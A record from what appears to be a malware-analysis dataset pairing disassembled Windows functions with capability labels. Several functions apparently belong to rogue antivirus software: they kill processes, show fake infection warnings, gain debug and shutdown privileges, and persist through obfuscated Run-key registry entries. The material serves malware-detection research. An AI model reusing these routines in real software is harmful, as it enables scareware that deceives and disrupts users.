joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101ed9b
Capabilities:
Delete registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x1021004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x10021d0
xor ebx, ebx
push ebx
mov dword [ebp - 0x214], esi
call fcn.0101f889
pop ecx
pop ecx
cmp esi, ebx
jne 0x101edd9
mov dword [ebp - 0x214], 0x80000001
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
xor esi, esi
lea eax, [ebp - 0x210]
push eax
push 0x20006
push ebx
push dword [esi + 0x1021320]
mov dword [ebp - 0x210], ebx
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x101eec0
test byte [esi + 0x1021328], 1
je 0x101ee54
push dword [esi + 0x1021324]
push dword [ebp - 0x210]
call edi
cmp eax, ebx
jne 0x101ee3f
push dword [esi + 0x1021324]
push 0x1002150
push ebx
call fcn.0101f889
add esp, 0xc
jmp 0x101ee54
push eax
push dword [esi + 0x1021324]
push 0x10020c0
push ebx
call fcn.0101f889
add esp, 0x10
test byte [esi + 0x1021328], 2
je 0x101eeb4
push 0x104
lea eax, [ebp - 0x20c]
push eax
push dword [esi + 0x1021324]
call fcn.0101f99a
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x210]
call edi
cmp eax, ebx
jne 0x101ee9e
lea eax, [ebp - 0x20c]
push eax
push 0x1002150
push ebx
call fcn.0101f889
add esp, 0xc
jmp 0x101eeb4
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x10020c0
push ebx
call fcn.0101f889
add esp, 0x10
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 0xc
cmp esi, 0x24
jb 0x101ede1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0101ce65
leave
ret 4

Function at 0x101eee2
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp + 0xc]
push eax
push 1
xor edi, edi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x101ef43
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0x14]
mov dword [ebp - 8], 4
push dword [ebp + 0xc]
call ebx
test eax, eax
jne 0x101ef3a
cmp dword [ebp - 0xc], 4
je 0x101ef3a
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0xc]
push eax
push 1
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x101ef86
push 4
pop esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0x14]
mov dword [ebp - 8], esi
push dword [ebp + 0xc]
call ebx
test eax, eax
jne 0x101ef7d
cmp dword [ebp - 0xc], esi
je 0x101ef7d
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x101ef95
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1021004]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
lea edx, [ebp - 0x10c]
push edx
push 1
xor esi, esi
push esi
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x101f00d
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push edi
push dword [ebp - 0x10c]
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10c]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0101ce65
leave
ret 0xc

Function at 0x101f17b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x10022a0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x101f1cd
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x1002284
push dword [ebp - 4]
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
leave
ret

Function at 0x101f214
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [0x1021350]
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x101f298
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x1002360
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x101f287
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x1002354
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x101f27e
cmp dword [ebp - 0xc], 4
jne 0x101f27e
cmp dword [ebp - 0x10], eax
je 0x101f27e
mov dword [0x1021350], 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1021350]
cmp eax, 0xffffffff
jne 0x101f298
xor eax, eax
mov dword [0x1021350], eax
leave
ret
Function at 0x1400104d
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x14047bac]
push ebx
push esi
push edi
mov edi, 0x80
mov ebx, ecx
mov dword [ebp - 0x118], eax
mov eax, dword [0x14047c94]
push edi
push ebx
mov dword [ebp - 0x114], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor esi, esi
push esi
push edi
push 3
push esi
push 2
push 0x1f01ff
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, esi
je 0x14001194
push 2
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x114]
mov edi, 0x140398e0
lea eax, [ebp - 0x110]
push edi
push eax
call fcn.1400d7eb
add esp, 0xc
lea ecx, [ebp - 0x110]
call fcn.1400cf3e
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x11c]
push ecx
push eax
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0x110]
push eax
push ebx
call esi
push dword [ebp - 0x118]
lea eax, [ebp - 0x110]
push edi
push eax
call fcn.1400d7eb
add esp, 0xc
lea ecx, [ebp - 0x110]
call fcn.1400cf3e
push 0
lea ecx, [ebp - 0x11c]
push ecx
push eax
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x110]
push eax
push ebx
call esi
push dword [ebp - 0x114]
mov edi, str._06d
lea eax, [ebp - 0x110]
push edi
push eax
call fcn.1400d7eb
add esp, 0xc
push 0
lea eax, [ebp - 0x11c]
push eax
push 6
lea eax, [ebp - 0x110]
push eax
push ebx
call esi
push dword [ebp - 0x118]
lea eax, [ebp - 0x110]
push edi
push eax
call fcn.1400d7eb
add esp, 0xc
push 0
lea eax, [ebp - 0x11c]
push eax
push 6
lea eax, [ebp - 0x110]
push eax
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.14020762
leave
ret
Function at 0x14001403
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400146d
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14001464
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x14001bdd
Capabilities:
Capture screenshot
Enumerate gui resources

Disassembly:
sub esp, 0x224
mov eax, dword [0x14045524]
xor eax, esp
mov dword [esp + 0x21c], eax
push ebx
push ebp
push esi
push edi
xor eax, eax
push 0x206
mov word [esp + 0x24], ax
xor ebx, ebx
lea eax, [esp + 0x26]
push ebx
push eax
call fcn.14020a90
add esp, 0xc
push dword [0x14047c3c]
lea eax, [esp + 0x24]
push str._sazaazzaza.bmp
push eax
call fcn.1400d7c0
add esp, 0xc
push ebx
mov esi, 0x14001bcb
push esi
call dword [sym.imp.USER32.dll_EnumWindows]
push SysReAllocString
push ebx
push ebx
call dword [sym.imp.USER32.dll_OpenInputDesktop]
push ebx
push esi
push eax
call dword [sym.imp.USER32.dll_EnumDesktopWindows]
push 1
lea eax, [esp + 0x24]
push eax
mov edi, 0x1e0
push edi
mov esi, 0x280
push esi
call fcn.1400146f
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
push 0x1f4
mov dword [esp + 0x18], eax
call ebp
push dword [0x14047be0]
call dword [sym.imp.USER32.dll_GetDC]
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [esp + 0x14]
mov dword [esp + 0x1c], eax
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x40
push edi
push esi
push ebx
push ebx
push 0xffffffffffffffff
push dword [0x14047be0]
call dword [sym.imp.USER32.dll_SetWindowPos]
push dword [0x14047be0]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [esp + 0x14], 0x12c
push 1
call fcn.14001e3a
pop ecx
push 0x40
push edi
push esi
push ebx
push ebx
push 0xffffffffffffffff
push dword [0x14047be0]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0xcc0020
push ebx
push ebx
push dword [esp + 0x24]
push edi
push esi
push ebx
push ebx
push dword [esp + 0x3c]
call dword [sym.imp.GDI32.dll_BitBlt]
push ebx
call dword [sym.imp.USER32.dll_SetCursor]
push ebx
call dword [sym.imp.USER32.dll_ShowCursor]
push 0x64
call ebp
dec dword [esp + 0x14]
jne 0x14001cc6
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.14020762
add esp, 0x224
ret
Function at 0x14001e3a
Capabilities:
Check for time delay via gettickcount
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x214], ax
xor edi, edi
lea eax, [ebp - 0x212]
push edi
push eax
call fcn.14020a90
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push edi
push eax
call fcn.14020a90
mov ecx, dword [0x14047cd4]
add esp, 0xc
lea edx, [ebp - 0x214]
call fcn.1400cf9b
mov edx, 0x14039988
lea ecx, [ebp - 0x214]
call fcn.1400cf55
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x650], eax
cmp eax, 0xffffffff
jne 0x14001ed0
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.14020762
leave
ret
lea ecx, [ebp - 0x64c]
push ecx
push eax
mov dword [ebp - 0x64c], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x14001efd
xor esi, esi
push dword [ebp - 0x650]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x14001ec1
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.14001403
push dword [ebp - 0x644]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x654], edi
test edi, edi
je 0x1400203c
cmp dword [ebp + 8], 2
jne 0x14001f67
mov eax, str.csrss.exe
lea edx, [ebp - 0x628]
call fcn.1400d017
test al, al
je 0x14001f5d
mov eax, str.winlogon.exe
lea edx, [ebp - 0x628]
call fcn.1400d017
test al, al
jne 0x14002030
push 0xffffffffffffffff
push edi
call ebx
jmp 0x14002030
push dword [ebp + 8]
lea esi, [ebp - 0x628]
call fcn.14001d2c
pop ecx
test eax, eax
jne 0x14002030
lea eax, [ebp - 0x214]
push eax
mov eax, esi
push eax
call fcn.14020909
pop ecx
pop ecx
test eax, eax
je 0x14002030
push 0xffffffffffffffff
push edi
call ebx
mov eax, esi
push eax
mov esi, 0x104
push str.Application_cannot_be_executed._The_file__ws_is_infected._nPlease_activate_your_antivirus_software.
mov ecx, esi
lea edi, [ebp - 0x41c]
call section..text
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
pop ecx
call edi
cmp dword [0x14048508], eax
jae 0x14002030
call edi
add eax, 0x2710
cmp dword [0x14047c2c], 0
mov dword [0x14048508], eax
jne 0x14001fe9
mov eax, esi
call fcn.1400dda3
mov dword [0x14047c2c], eax
cmp dword [0x14047ba8], 0
jne 0x14001ffe
mov eax, esi
call fcn.1400dda3
mov dword [0x14047ba8], eax
mov edx, dword [0x14047c2c]
lea ecx, [ebp - 0x41c]
call fcn.1400cf9b
mov edx, dword [0x14047ba8]
mov ecx, str.WARNING_
call fcn.1400cf9b
mov eax, dword [0x14047c0c]
test eax, eax
je 0x14002030
push 9
push eax
call fcn.140096b3
push dword [ebp - 0x654]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x64c]
push eax
push dword [ebp - 0x650]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14001f03
xor esi, esi
inc esi
jmp 0x14001eed
Function at 0x14002100
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 2
call fcn.14001e3a
pop ecx
call fcn.1400205e
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400212f
xor eax, eax
jmp 0x1400217d
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400212b
push 0x80020000
push 0x16
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
pop esi
leave
ret

Function at 0x140022bb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x44
pop edx
lea eax, [ebp - 0x54]
push edx
push eax
call fcn.1400dd2d
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [ebp - 0x54], edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14002303
push esi
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
leave
ret
Function at 0x14002305
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3a8]
sub esp, 0x428
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x3a4], eax
mov eax, dword [ebp + 0x3b0]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x14002463
lea eax, [ebp - 0x78]
push eax
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x14002463
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x78]
test eax, eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
jne 0x1400237c
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x14002463
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x14002463
lea eax, [ebp - 0x70]
push eax
push 0x14037510
push 1
push 0
push 0x14037520
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1400245d
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push esi
push ebx
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x70]
mov esi, dword [eax]
mov eax, str.Tztufn_Tfdvsjuz_311:
call fcn.1401d94e
push eax
push dword [ebp - 0x70]
call dword [esi + 0x1c]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push 0
push ebx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
lea edx, [ebp - 0x7c]
push edx
push 0x14037530
push eax
call dword [ecx]
pop esi
test eax, eax
jl 0x14002454
lea ecx, [ebp - 0x6c]
lea edx, [ebp + 0x19c]
call fcn.1400cf9b
mov eax, str._Tztufn_Tfdvsjuz_311:_mol
call fcn.1401d94e
mov edx, eax
lea ecx, [ebp + 0x19c]
call fcn.1400cf55
mov edx, dword [ebp - 0x80]
lea ecx, [ebp + 0x19c]
call fcn.1400cf9b
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push 1
lea edx, [ebp + 0x19c]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp + 0x3a4]
xor ecx, ebp
call fcn.14020762
add ebp, 0x3a8
leave
ret
Function at 0x14002478
Capabilities:
Create directory
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3ac]
sub esp, 0x42c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x3a8], eax
mov eax, dword [ebp + 0x3b4]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x3b8]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x1400262e
push edi
lea eax, [ebp - 0x74]
push eax
push 2
xor edi, edi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x1400262d
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x74]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x74]
test eax, eax
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
jne 0x140024fa
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1400262d
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, str._Tztufn_Tfdvsjuz
call fcn.1401d94e
mov edx, eax
lea ecx, [ebp - 0x68]
call fcn.1400cf55
push edi
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x1400262d
lea eax, [ebp - 0x6c]
push eax
push 0x14037510
push 1
push edi
push 0x14037520
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x14002627
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov ecx, esi
call fcn.1400cfe5
test eax, eax
je 0x140025a9
push 0x104
lea eax, [ebp + 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, str._ahui.exe
lea ecx, [ebp + 0x1a0]
call fcn.1400cf55
push edi
lea edx, [ebp + 0x1a0]
push edx
jmp 0x140025ab
push edi
push esi
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
lea edx, [ebp - 0x78]
push edx
push 0x14037530
push eax
call dword [ecx]
test eax, eax
jl 0x1400261e
lea ecx, [ebp - 0x68]
lea edx, [ebp + 0x1a0]
call fcn.1400cf9b
mov edx, 0x14039ce4
lea ecx, [ebp + 0x1a0]
call fcn.1400cf55
mov edx, dword [ebp - 0x7c]
lea ecx, [ebp + 0x1a0]
call fcn.1400cf55
mov edx, dword [ebp - 0x80]
lea ecx, [ebp + 0x1a0]
call fcn.1400cf9b
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push 1
lea edx, [ebp + 0x1a0]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov ecx, dword [ebp + 0x3a8]
xor ecx, ebp
call fcn.14020762
add ebp, 0x3ac
leave
ret
Function at 0x140026a6
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov ecx, esi
lea edx, [ebp - 0x74]
mov dword [ebp - 0x7c], 0x104
call fcn.1400cf9b
lea ecx, [ebp - 0x74]
call fcn.1400cf7f
add eax, eax
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x78]
push eax
push 0xf003f
push 0
mov eax, str.TPGUXBSF_Njdsptpgu_Xjoepxt_DvssfouWfstjpo_Svo
call fcn.1401d94e
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14002739
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x14002739
mov ecx, ebx
call fcn.1400cf7f
add eax, eax
push eax
push ebx
push 1
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x194]
xor ecx, ebp
call fcn.14020762
add ebp, 0x198
leave
ret

Function at 0x14002757
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push esi
push edi
mov dword [ebp - 0x80], eax
xor edi, edi
mov eax, str.Tztufn_Tfdvsjuz_311:
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
call fcn.1401d94e
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x74]
mov esi, eax
call fcn.1400cf9b
mov edx, 0x14039e34
lea ecx, [ebp - 0x74]
call fcn.1400cf55
lea eax, [ebp - 0x7c]
push eax
push 0xf003f
push edi
mov eax, str.TPGUXBSF_Njdsptpgu_Xjoepxt_DvssfouWfstjpo_Vojotubmm
call fcn.1401d94e
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14002852
lea eax, [ebp - 0x78]
push eax
mov eax, str.TztufnTfdvsjuz311:
call fcn.1401d94e
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ecx, esi
call fcn.1400cf7f
add eax, eax
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 1
push edi
push str.DisplayName
push dword [ebp - 0x78]
call esi
mov ecx, ebx
call fcn.1400cf7f
add eax, eax
push eax
push ebx
push 1
push edi
push str.ShortcutPath
push dword [ebp - 0x78]
call esi
mov ecx, ebx
call fcn.1400cf7f
add eax, eax
push eax
push ebx
push 1
push edi
push str.UninstallString
push dword [ebp - 0x78]
call esi
lea ecx, [ebp - 0x74]
call fcn.1400cf7f
add eax, eax
push eax
mov eax, ecx
push eax
push 1
push edi
push str.DisplayIcon
push dword [ebp - 0x78]
call esi
push dword [ebp - 0x78]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0x7c]
call esi
mov ecx, dword [ebp + 0x194]
pop edi
xor ecx, ebp
pop esi
call fcn.14020762
add ebp, 0x198
leave
ret
Function at 0x14004f4a
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x50]
cmp eax, dword [esp + 8]
jne 0x14004f8e
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esi + 0x114]
jne 0x14004f8e
push ecx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push dword [0x14047be0]
mov al, 1
call fcn.1401e6c1
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.1401d931
xor eax, eax
pop esi
ret 0xc